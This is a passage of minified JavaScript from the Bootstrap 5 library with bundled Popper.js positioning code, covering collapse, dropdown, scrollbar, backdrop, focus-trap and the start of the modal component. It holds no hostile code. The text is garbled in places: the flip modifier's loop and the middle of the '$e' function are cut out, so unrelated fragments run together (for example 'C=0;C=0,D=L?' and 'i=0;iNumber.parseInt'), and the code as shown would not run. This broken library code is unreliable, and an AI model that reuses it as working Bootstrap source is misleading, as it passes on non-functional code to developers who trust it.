t)rt.getOrCreateInstance(e)})),g(rt);const at="show",lt="collapse",ct="collapsing",ht='[data-bs-toggle="collapse"]',dt={toggle:!0,parent:null},ut={toggle:"boolean",parent:"(null|element)"};class ft extends F{constructor(t,e){super(t,e),this._isTransitioning=!1,this._triggerArray=[];const n=K.find(ht);for(const t of n){const e=i(t),n=K.find(e).filter((t=>t===this._element));null!==e&&n.length&&this._triggerArray.push(t)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return dt}static get DefaultType(){return ut}static get NAME(){return"collapse"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t=[];if(this._config.parent&&(t=this._getFirstLevelChildren(".collapse.show, .collapse.collapsing").filter((t=>t!==this._element)).map((t=>ft.getOrCreateInstance(t,{toggle:!1})))),t.length&&t[0]._isTransitioning)return;if(P.trigger(this._element,"show.bs.collapse").defaultPrevented)return;for(const e of t)e.hide();const e=this._getDimension();this._element.classList.remove(lt),this._element.classList.add(ct),this._element.style[e]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const i=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(ct),this._element.classList.add(lt,at),this._element.style[e]="",P.trigger(this._element,"shown.bs.collapse")}),this._element,!0),this._element.style[e]=`${this._element[i]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(P.trigger(this._element,"hide.bs.collapse").defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,d(this._element),this._element.classList.add(ct),this._element.classList.remove(lt,at);for(const t of this._triggerArray){const e=n(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0,this._element.style[t]="",this._queueCallback((()=>{this._isTransitioning=!1,this._element.classList.remove(ct),this._element.classList.add(lt),P.trigger(this._element,"hidden.bs.collapse")}),this._element,!0)}_isShown(t=this._element){return t.classList.contains(at)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=r(t.parent),t}_getDimension(){return this._element.classList.contains("collapse-horizontal")?"width":"height"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(ht);for(const e of t){const t=n(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=K.find(":scope .collapse .collapse",this._config.parent);return K.find(t,this._config.parent).filter((t=>!e.includes(t)))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const i of t)i.classList.toggle("collapsed",!e),i.setAttribute("aria-expanded",e)}static jQueryInterface(t){const e={};return"string"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each((function(){const i=ft.getOrCreateInstance(this,e);if("string"==typeof t){if(void 0===i[t])throw new TypeError(`No method named "${t}"`);i[t]()}}))}}P.on(document,"click.bs.collapse.data-api",ht,(function(t){("A"===t.target.tagName||t.delegateTarget&&"A"===t.delegateTarget.tagName)&&t.preventDefault();const e=i(this),n=K.find(e);for(const t of n)ft.getOrCreateInstance(t,{toggle:!1}).toggle()})),g(ft);var pt="top",gt="bottom",mt="right",_t="left",bt="auto",vt=[pt,gt,mt,_t],yt="start",wt="end",At="clippingParents",Et="viewport",Tt="popper",Ct="reference",Ot=vt.reduce((function(t,e){return t.concat([e+"-"+yt,e+"-"+wt])}),[]),xt=[].concat(vt,[bt]).reduce((function(t,e){return t.concat([e,e+"-"+yt,e+"-"+wt])}),[]),kt="beforeRead",Lt="read",Dt="afterRead",St="beforeMain",It="main",Nt="afterMain",Pt="beforeWrite",Mt="write",jt="afterWrite",Ht=[kt,Lt,Dt,St,It,Nt,Pt,Mt,jt];function $t(t){return t?(t.nodeName||"").toLowerCase():null}function Wt(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function Bt(t){return t instanceof Wt(t).Element||t instanceof Element}function Ft(t){return t instanceof Wt(t).HTMLElement||t instanceof HTMLElement}function zt(t){return"undefined"!=typeof ShadowRoot&&(t instanceof Wt(t).ShadowRoot||t instanceof ShadowRoot)}const Rt={name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var i=e.styles[t]||{},n=e.attributes[t]||{},s=e.elements[t];Ft(s)&&$t(s)&&(Object.assign(s.style,i),Object.keys(n).forEach((function(t){var e=n[t];!1===e?s.removeAttribute(t):s.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,i={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,i.popper),e.styles=i,e.elements.arrow&&Object.assign(e.elements.arrow.style,i.arrow),function(){Object.keys(e.elements).forEach((function(t){var n=e.elements[t],s=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:i[t]).reduce((function(t,e){return t[e]="",t}),{});Ft(n)&&$t(n)&&(Object.assign(n.style,o),Object.keys(s).forEach((function(t){n.removeAttribute(t)})))}))}},requires:["computeStyles"]};function qt(t){return t.split("-")[0]}var Vt=Math.max,Kt=Math.min,Qt=Math.round;function Xt(t,e){void 0===e&&(e=!1);var i=t.getBoundingClientRect(),n=1,s=1;if(Ft(t)&&e){var o=t.offsetHeight,r=t.offsetWidth;r>0&&(n=Qt(i.width)/r||1),o>0&&(s=Qt(i.height)/o||1)}return{width:i.width/n,height:i.height/s,top:i.top/s,right:i.right/n,bottom:i.bottom/s,left:i.left/n,x:i.left/n,y:i.top/s}}function Yt(t){var e=Xt(t),i=t.offsetWidth,n=t.offsetHeight;return Math.abs(e.width-i)<=1&&(i=e.width),Math.abs(e.height-n)<=1&&(n=e.height),{x:t.offsetLeft,y:t.offsetTop,width:i,height:n}}function Ut(t,e){var i=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(i&&zt(i)){var n=e;do{if(n&&t.isSameNode(n))return!0;n=n.parentNode||n.host}while(n)}return!1}function Gt(t){return Wt(t).getComputedStyle(t)}function Jt(t){return["table","td","th"].indexOf($t(t))>=0}function Zt(t){return((Bt(t)?t.ownerDocument:t.document)||window.document).documentElement}function te(t){return"html"===$t(t)?t:t.assignedSlot||t.parentNode||(zt(t)?t.host:null)||Zt(t)}function ee(t){return Ft(t)&&"fixed"!==Gt(t).position?t.offsetParent:null}function ie(t){for(var e=Wt(t),i=ee(t);i&&Jt(i)&&"static"===Gt(i).position;)i=ee(i);return i&&("html"===$t(i)||"body"===$t(i)&&"static"===Gt(i).position)?e:i||function(t){var e=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&Ft(t)&&"fixed"===Gt(t).position)return null;var i=te(t);for(zt(i)&&(i=i.host);Ft(i)&&["html","body"].indexOf($t(i))<0;){var n=Gt(i);if("none"!==n.transform||"none"!==n.perspective||"paint"===n.contain||-1!==["transform","perspective"].indexOf(n.willChange)||e&&"filter"===n.willChange||e&&n.filter&&"none"!==n.filter)return i;i=i.parentNode}return null}(t)||e}function ne(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}function se(t,e,i){return Vt(t,Kt(e,i))}function oe(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function re(t,e){return e.reduce((function(e,i){return e[i]=t,e}),{})}const ae={name:"arrow",enabled:!0,phase:"main",fn:function(t){var e,i=t.state,n=t.name,s=t.options,o=i.elements.arrow,r=i.modifiersData.popperOffsets,a=qt(i.placement),l=ne(a),c=[_t,mt].indexOf(a)>=0?"height":"width";if(o&&r){var h=function(t,e){return oe("number"!=typeof(t="function"==typeof t?t(Object.assign({},e.rects,{placement:e.placement})):t)?t:re(t,vt))}(s.padding,i),d=Yt(o),u="y"===l?pt:_t,f="y"===l?gt:mt,p=i.rects.reference[c]+i.rects.reference[l]-r[l]-i.rects.popper[c],g=r[l]-i.rects.reference[l],m=ie(o),_=m?"y"===l?m.clientHeight||0:m.clientWidth||0:0,b=p/2-g/2,v=h[u],y=_-d[c]-h[f],w=_/2-d[c]/2+b,A=se(v,w,y),E=l;i.modifiersData[n]=((e={})[E]=A,e.centerOffset=A-w,e)}},effect:function(t){var e=t.state,i=t.options.element,n=void 0===i?"[data-popper-arrow]":i;null!=n&&("string"!=typeof n||(n=e.elements.popper.querySelector(n)))&&Ut(e.elements.popper,n)&&(e.elements.arrow=n)},requires:["popperOffsets"],requiresIfExists:["preventOverflow"]};function le(t){return t.split("-")[1]}var ce={top:"auto",right:"auto",bottom:"auto",left:"auto"};function he(t){var e,i=t.popper,n=t.popperRect,s=t.placement,o=t.variation,r=t.offsets,a=t.position,l=t.gpuAcceleration,c=t.adaptive,h=t.roundOffsets,d=t.isFixed,u=r.x,f=void 0===u?0:u,p=r.y,g=void 0===p?0:p,m="function"==typeof h?h({x:f,y:g}):{x:f,y:g};f=m.x,g=m.y;var _=r.hasOwnProperty("x"),b=r.hasOwnProperty("y"),v=_t,y=pt,w=window;if(c){var A=ie(i),E="clientHeight",T="clientWidth";A===Wt(i)&&"static"!==Gt(A=Zt(i)).position&&"absolute"===a&&(E="scrollHeight",T="scrollWidth"),(s===pt||(s===_t||s===mt)&&o===wt)&&(y=gt,g-=(d&&A===w&&w.visualViewport?w.visualViewport.height:A[E])-n.height,g*=l?1:-1),s!==_t&&(s!==pt&&s!==gt||o!==wt)||(v=mt,f-=(d&&A===w&&w.visualViewport?w.visualViewport.width:A[T])-n.width,f*=l?1:-1)}var C,O=Object.assign({position:a},c&&ce),x=!0===h?function(t){var e=t.x,i=t.y,n=window.devicePixelRatio||1;return{x:Qt(e*n)/n||0,y:Qt(i*n)/n||0}}({x:f,y:g}):{x:f,y:g};return f=x.x,g=x.y,l?Object.assign({},O,((C={})[y]=b?"0":"",C[v]=_?"0":"",C.transform=(w.devicePixelRatio||1)<=1?"translate("+f+"px, "+g+"px)":"translate3d("+f+"px, "+g+"px, 0)",C)):Object.assign({},O,((e={})[y]=b?g+"px":"",e[v]=_?f+"px":"",e.transform="",e))}const de={name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,i=t.options,n=i.gpuAcceleration,s=void 0===n||n,o=i.adaptive,r=void 0===o||o,a=i.roundOffsets,l=void 0===a||a,c={placement:qt(e.placement),variation:le(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:s,isFixed:"fixed"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,he(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:r,roundOffsets:l})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,he(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:l})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}};var ue={passive:!0};const fe={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,i=t.instance,n=t.options,s=n.scroll,o=void 0===s||s,r=n.resize,a=void 0===r||r,l=Wt(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",i.update,ue)})),a&&l.addEventListener("resize",i.update,ue),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",i.update,ue)})),a&&l.removeEventListener("resize",i.update,ue)}},data:{}};var pe={left:"right",right:"left",bottom:"top",top:"bottom"};function ge(t){return t.replace(/left|right|bottom|top/g,(function(t){return pe[t]}))}var me={start:"end",end:"start"};function _e(t){return t.replace(/start|end/g,(function(t){return me[t]}))}function be(t){var e=Wt(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function ve(t){return Xt(Zt(t)).left+be(t).scrollLeft}function ye(t){var e=Gt(t),i=e.overflow,n=e.overflowX,s=e.overflowY;return/auto|scroll|overlay|hidden/.test(i+s+n)}function we(t){return["html","body","#document"].indexOf($t(t))>=0?t.ownerDocument.body:Ft(t)&&ye(t)?t:we(te(t))}function Ae(t,e){var i;void 0===e&&(e=[]);var n=we(t),s=n===(null==(i=t.ownerDocument)?void 0:i.body),o=Wt(n),r=s?[o].concat(o.visualViewport||[],ye(n)?n:[]):n,a=e.concat(r);return s?a:a.concat(Ae(te(r)))}function Ee(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function Te(t,e){return e===Et?Ee(function(t){var e=Wt(t),i=Zt(t),n=e.visualViewport,s=i.clientWidth,o=i.clientHeight,r=0,a=0;return n&&(s=n.width,o=n.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(r=n.offsetLeft,a=n.offsetTop)),{width:s,height:o,x:r+ve(t),y:a}}(t)):Bt(e)?function(t){var e=Xt(t);return e.top=e.top+t.clientTop,e.left=e.left+t.clientLeft,e.bottom=e.top+t.clientHeight,e.right=e.left+t.clientWidth,e.width=t.clientWidth,e.height=t.clientHeight,e.x=e.left,e.y=e.top,e}(e):Ee(function(t){var e,i=Zt(t),n=be(t),s=null==(e=t.ownerDocument)?void 0:e.body,o=Vt(i.scrollWidth,i.clientWidth,s?s.scrollWidth:0,s?s.clientWidth:0),r=Vt(i.scrollHeight,i.clientHeight,s?s.scrollHeight:0,s?s.clientHeight:0),a=-n.scrollLeft+ve(t),l=-n.scrollTop;return"rtl"===Gt(s||i).direction&&(a+=Vt(i.clientWidth,s?s.clientWidth:0)-o),{width:o,height:r,x:a,y:l}}(Zt(t)))}function Ce(t){var e,i=t.reference,n=t.element,s=t.placement,o=s?qt(s):null,r=s?le(s):null,a=i.x+i.width/2-n.width/2,l=i.y+i.height/2-n.height/2;switch(o){case pt:e={x:a,y:i.y-n.height};break;case gt:e={x:a,y:i.y+i.height};break;case mt:e={x:i.x+i.width,y:l};break;case _t:e={x:i.x-n.width,y:l};break;default:e={x:i.x,y:i.y}}var c=o?ne(o):null;if(null!=c){var h="y"===c?"height":"width";switch(r){case yt:e[c]=e[c]-(i[h]/2-n[h]/2);break;case wt:e[c]=e[c]+(i[h]/2-n[h]/2)}}return e}function Oe(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=void 0===n?t.placement:n,o=i.boundary,r=void 0===o?At:o,a=i.rootBoundary,l=void 0===a?Et:a,c=i.elementContext,h=void 0===c?Tt:c,d=i.altBoundary,u=void 0!==d&&d,f=i.padding,p=void 0===f?0:f,g=oe("number"!=typeof p?p:re(p,vt)),m=h===Tt?Ct:Tt,_=t.rects.popper,b=t.elements[u?m:h],v=function(t,e,i){var n="clippingParents"===e?function(t){var e=Ae(te(t)),i=["absolute","fixed"].indexOf(Gt(t).position)>=0&&Ft(t)?ie(t):t;return Bt(i)?e.filter((function(t){return Bt(t)&&Ut(t,i)&&"body"!==$t(t)})):[]}(t):[].concat(e),s=[].concat(n,[i]),o=s[0],r=s.reduce((function(e,i){var n=Te(t,i);return e.top=Vt(n.top,e.top),e.right=Kt(n.right,e.right),e.bottom=Kt(n.bottom,e.bottom),e.left=Vt(n.left,e.left),e}),Te(t,o));return r.width=r.right-r.left,r.height=r.bottom-r.top,r.x=r.left,r.y=r.top,r}(Bt(b)?b:b.contextElement||Zt(t.elements.popper),r,l),y=Xt(t.elements.reference),w=Ce({reference:y,element:_,strategy:"absolute",placement:s}),A=Ee(Object.assign({},_,w)),E=h===Tt?A:y,T={top:v.top-E.top+g.top,bottom:E.bottom-v.bottom+g.bottom,left:v.left-E.left+g.left,right:E.right-v.right+g.right},C=t.modifiersData.offset;if(h===Tt&&C){var O=C[s];Object.keys(T).forEach((function(t){var e=[mt,gt].indexOf(t)>=0?1:-1,i=[pt,gt].indexOf(t)>=0?"y":"x";T[t]+=O[i]*e}))}return T}function xe(t,e){void 0===e&&(e={});var i=e,n=i.placement,s=i.boundary,o=i.rootBoundary,r=i.padding,a=i.flipVariations,l=i.allowedAutoPlacements,c=void 0===l?xt:l,h=le(n),d=h?a?Ot:Ot.filter((function(t){return le(t)===h})):vt,u=d.filter((function(t){return c.indexOf(t)>=0}));0===u.length&&(u=d);var f=u.reduce((function(e,i){return e[i]=Oe(t,{placement:i,boundary:s,rootBoundary:o,padding:r})[qt(i)],e}),{});return Object.keys(f).sort((function(t,e){return f[t]-f[e]}))}const ke={name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name;if(!e.modifiersData[n]._skip){for(var s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0===r||r,l=i.fallbackPlacements,c=i.padding,h=i.boundary,d=i.rootBoundary,u=i.altBoundary,f=i.flipVariations,p=void 0===f||f,g=i.allowedAutoPlacements,m=e.options.placement,_=qt(m),b=l||(_!==m&&p?function(t){if(qt(t)===bt)return[];var e=ge(t);return[_e(t),e,_e(e)]}(m):[ge(m)]),v=[m].concat(b).reduce((function(t,i){return t.concat(qt(i)===bt?xe(e,{placement:i,boundary:h,rootBoundary:d,padding:c,flipVariations:p,allowedAutoPlacements:g}):i)}),[]),y=e.rects.reference,w=e.rects.popper,A=new Map,E=!0,T=v[0],C=0;C=0,D=L?"width":"height",S=Oe(e,{placement:O,boundary:h,rootBoundary:d,altBoundary:u,padding:c}),I=L?k?mt:_t:k?gt:pt;y[D]>w[D]&&(I=ge(I));var N=ge(I),P=[];if(o&&P.push(S[x]<=0),a&&P.push(S[I]<=0,S[N]<=0),P.every((function(t){return t}))){T=O,E=!1;break}A.set(O,P)}if(E)for(var M=function(t){var e=v.find((function(e){var i=A.get(e);if(i)return i.slice(0,t).every((function(t){return t}))}));if(e)return T=e,"break"},j=p?3:1;j>0&&"break"!==M(j);j--);e.placement!==T&&(e.modifiersData[n]._skip=!0,e.placement=T,e.reset=!0)}},requiresIfExists:["offset"],data:{_skip:!1}};function Le(t,e,i){return void 0===i&&(i={x:0,y:0}),{top:t.top-e.height-i.y,right:t.right-e.width+i.x,bottom:t.bottom-e.height+i.y,left:t.left-e.width-i.x}}function De(t){return[pt,mt,gt,_t].some((function(e){return t[e]>=0}))}const Se={name:"hide",enabled:!0,phase:"main",requiresIfExists:["preventOverflow"],fn:function(t){var e=t.state,i=t.name,n=e.rects.reference,s=e.rects.popper,o=e.modifiersData.preventOverflow,r=Oe(e,{elementContext:"reference"}),a=Oe(e,{altBoundary:!0}),l=Le(r,n),c=Le(a,s,o),h=De(l),d=De(c);e.modifiersData[i]={referenceClippingOffsets:l,popperEscapeOffsets:c,isReferenceHidden:h,hasPopperEscaped:d},e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-reference-hidden":h,"data-popper-escaped":d})}},Ie={name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.offset,o=void 0===s?[0,0]:s,r=xt.reduce((function(t,i){return t[i]=function(t,e,i){var n=qt(t),s=[_t,pt].indexOf(n)>=0?-1:1,o="function"==typeof i?i(Object.assign({},e,{placement:t})):i,r=o[0],a=o[1];return r=r||0,a=(a||0)*s,[_t,mt].indexOf(n)>=0?{x:a,y:r}:{x:r,y:a}}(i,e.rects,o),t}),{}),a=r[e.placement],l=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=l,e.modifiersData.popperOffsets.y+=c),e.modifiersData[n]=r}},Ne={name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,i=t.name;e.modifiersData[i]=Ce({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},Pe={name:"preventOverflow",enabled:!0,phase:"main",fn:function(t){var e=t.state,i=t.options,n=t.name,s=i.mainAxis,o=void 0===s||s,r=i.altAxis,a=void 0!==r&&r,l=i.boundary,c=i.rootBoundary,h=i.altBoundary,d=i.padding,u=i.tether,f=void 0===u||u,p=i.tetherOffset,g=void 0===p?0:p,m=Oe(e,{boundary:l,rootBoundary:c,padding:d,altBoundary:h}),_=qt(e.placement),b=le(e.placement),v=!b,y=ne(_),w="x"===y?"y":"x",A=e.modifiersData.popperOffsets,E=e.rects.reference,T=e.rects.popper,C="function"==typeof g?g(Object.assign({},e.rects,{placement:e.placement})):g,O="number"==typeof C?{mainAxis:C,altAxis:C}:Object.assign({mainAxis:0,altAxis:0},C),x=e.modifiersData.offset?e.modifiersData.offset[e.placement]:null,k={x:0,y:0};if(A){if(o){var L,D="y"===y?pt:_t,S="y"===y?gt:mt,I="y"===y?"height":"width",N=A[y],P=N+m[D],M=N-m[S],j=f?-T[I]/2:0,H=b===yt?E[I]:T[I],$=b===yt?-T[I]:-E[I],W=e.elements.arrow,B=f&&W?Yt(W):{width:0,height:0},F=e.modifiersData["arrow#persistent"]?e.modifiersData["arrow#persistent"].padding:{top:0,right:0,bottom:0,left:0},z=F[D],R=F[S],q=se(0,E[I],B[I]),V=v?E[I]/2-j-q-z-O.mainAxis:H-q-z-O.mainAxis,K=v?-E[I]/2+j+q+R+O.mainAxis:$+q+R+O.mainAxis,Q=e.elements.arrow&&ie(e.elements.arrow),X=Q?"y"===y?Q.clientTop||0:Q.clientLeft||0:0,Y=null!=(L=null==x?void 0:x[y])?L:0,U=N+K-Y,G=se(f?Kt(P,N+V-Y-X):P,N,f?Vt(M,U):M);A[y]=G,k[y]=G-N}if(a){var J,Z="x"===y?pt:_t,tt="x"===y?gt:mt,et=A[w],it="y"===w?"height":"width",nt=et+m[Z],st=et-m[tt],ot=-1!==[pt,_t].indexOf(_),rt=null!=(J=null==x?void 0:x[w])?J:0,at=ot?nt:et-E[it]-T[it]-rt+O.altAxis,lt=ot?et+E[it]+T[it]-rt-O.altAxis:st,ct=f&&ot?function(t,e,i){var n=se(t,e,i);return n>i?i:n}(at,et,lt):se(f?at:nt,et,f?lt:st);A[w]=ct,k[w]=ct-et}e.modifiersData[n]=k}},requiresIfExists:["offset"]};function Me(t,e,i){void 0===i&&(i=!1);var n,s,o=Ft(e),r=Ft(e)&&function(t){var e=t.getBoundingClientRect(),i=Qt(e.width)/t.offsetWidth||1,n=Qt(e.height)/t.offsetHeight||1;return 1!==i||1!==n}(e),a=Zt(e),l=Xt(t,r),c={scrollLeft:0,scrollTop:0},h={x:0,y:0};return(o||!o&&!i)&&(("body"!==$t(e)||ye(a))&&(c=(n=e)!==Wt(n)&&Ft(n)?{scrollLeft:(s=n).scrollLeft,scrollTop:s.scrollTop}:be(n)),Ft(e)?((h=Xt(e,!0)).x+=e.clientLeft,h.y+=e.clientTop):a&&(h.x=ve(a))),{x:l.left+c.scrollLeft-h.x,y:l.top+c.scrollTop-h.y,width:l.width,height:l.height}}function je(t){var e=new Map,i=new Set,n=[];function s(t){i.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach((function(t){if(!i.has(t)){var n=e.get(t);n&&s(n)}})),n.push(t)}return t.forEach((function(t){e.set(t.name,t)})),t.forEach((function(t){i.has(t.name)||s(t)})),n}var He={placement:"bottom",modifiers:[],strategy:"absolute"};function $e(){for(var t=arguments.length,e=new Array(t),i=0;iNumber.parseInt(t,10))):"function"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"offset",options:{offset:this._getOffset()}}]};return(this._inNavbar||"static"===this._config.display)&&(W.setDataAttribute(this._menu,"popper","static"),t.modifiers=[{name:"applyStyles",enabled:!1}]),{...t,..."function"==typeof this._config.popperConfig?this._config.popperConfig(t):this._config.popperConfig}}_selectMenuItem({key:t,target:e}){const i=K.find(".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",this._menu).filter((t=>a(t)));i.length&&b(i,e,t===Ke,!i.includes(e)).focus()}static jQueryInterface(t){return this.each((function(){const e=ai.getOrCreateInstance(this,t);if("string"==typeof t){if(void 0===e[t])throw new TypeError(`No method named "${t}"`);e[t]()}}))}static clearMenus(t){if(2===t.button||"keyup"===t.type&&"Tab"!==t.key)return;const e=K.find(Ge);for(const i of e){const e=ai.getInstance(i);if(!e||!1===e._config.autoClose)continue;const n=t.composedPath(),s=n.includes(e._menu);if(n.includes(e._element)||"inside"===e._config.autoClose&&!s||"outside"===e._config.autoClose&&s)continue;if(e._menu.contains(t.target)&&("keyup"===t.type&&"Tab"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};"click"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),i="Escape"===t.key,n=[Ve,Ke].includes(t.key);if(!n&&!i)return;if(e&&!i)return;t.preventDefault();const s=K.findOne(Ue,t.delegateTarget.parentNode),o=ai.getOrCreateInstance(s);if(n)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),s.focus())}}P.on(document,Xe,Ue,ai.dataApiKeydownHandler),P.on(document,Xe,Je,ai.dataApiKeydownHandler),P.on(document,Qe,ai.clearMenus),P.on(document,"keyup.bs.dropdown.data-api",ai.clearMenus),P.on(document,Qe,Ue,(function(t){t.preventDefault(),ai.getOrCreateInstance(this).toggle()})),g(ai);const li=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",ci=".sticky-top",hi="padding-right",di="margin-right";class ui{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,hi,(e=>e+t)),this._setElementAttributes(li,hi,(e=>e+t)),this._setElementAttributes(ci,di,(e=>e-t))}reset(){this._resetElementAttributes(this._element,"overflow"),this._resetElementAttributes(this._element,hi),this._resetElementAttributes(li,hi),this._resetElementAttributes(ci,di)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow"),this._element.style.overflow="hidden"}_setElementAttributes(t,e,i){const n=this.getWidth();this._applyManipulationCallback(t,(t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const s=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${i(Number.parseFloat(s))}px`)}))}_saveInitialAttribute(t,e){const i=t.style.getPropertyValue(e);i&&W.setDataAttribute(t,e,i)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,(t=>{const i=W.getDataAttribute(t,e);null!==i?(W.removeDataAttribute(t,e),t.style.setProperty(e,i)):t.style.removeProperty(e)}))}_applyManipulationCallback(t,e){if(o(t))e(t);else for(const i of K.find(t,this._element))e(i)}}const fi="show",pi="mousedown.bs.backdrop",gi={className:"modal-backdrop",isVisible:!0,isAnimated:!1,rootElement:"body",clickCallback:null},mi={className:"string",isVisible:"boolean",isAnimated:"boolean",rootElement:"(element|string)",clickCallback:"(function|null)"};class _i extends B{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return gi}static get DefaultType(){return mi}static get NAME(){return"backdrop"}show(t){if(!this._config.isVisible)return void m(t);this._append();const e=this._getElement();this._config.isAnimated&&d(e),e.classList.add(fi),this._emulateAnimation((()=>{m(t)}))}hide(t){this._config.isVisible?(this._getElement().classList.remove(fi),this._emulateAnimation((()=>{this.dispose(),m(t)}))):m(t)}dispose(){this._isAppended&&(P.off(this._element,pi),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement("div");t.className=this._config.className,this._config.isAnimated&&t.classList.add("fade"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=r(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),P.on(t,pi,(()=>{m(this._config.clickCallback)})),this._isAppended=!0}_emulateAnimation(t){_(t,this._getElement(),this._config.isAnimated)}}const bi=".bs.focustrap",vi="backward",yi={trapElement:null,autofocus:!0},wi={trapElement:"element",autofocus:"boolean"};class Ai extends B{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return yi}static get DefaultType(){return wi}static get NAME(){return"focustrap"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),P.off(document,bi),P.on(document,"focusin.bs.focustrap",(t=>this._handleFocusin(t))),P.on(document,"keydown.tab.bs.focustrap",(t=>this._handleKeydown(t))),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,P.off(document,bi))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const i=K.focusableChildren(e);0===i.length?e.focus():this._lastTabNavDirection===vi?i[i.length-1].focus():i[0].focus()}_handleKeydown(t){"Tab"===t.key&&(this._lastTabNavDirection=t.shiftKey?vi:"forward")}}const Ei="hidden.bs.modal",Ti="show.bs.modal",Ci="modal-open",Oi="show",xi="modal-static",ki={backdrop:!0,keyboard:!0,focus:!0},Li={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};class Di extends F{constructor(t,e){super(t,e),this._dialog=K.findOne(".modal-dialog",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new ui,this._addEventListeners()}static get Default(){return ki}static get DefaultType(){return Li}static get NAME(){return"modal"}toggle(t){return 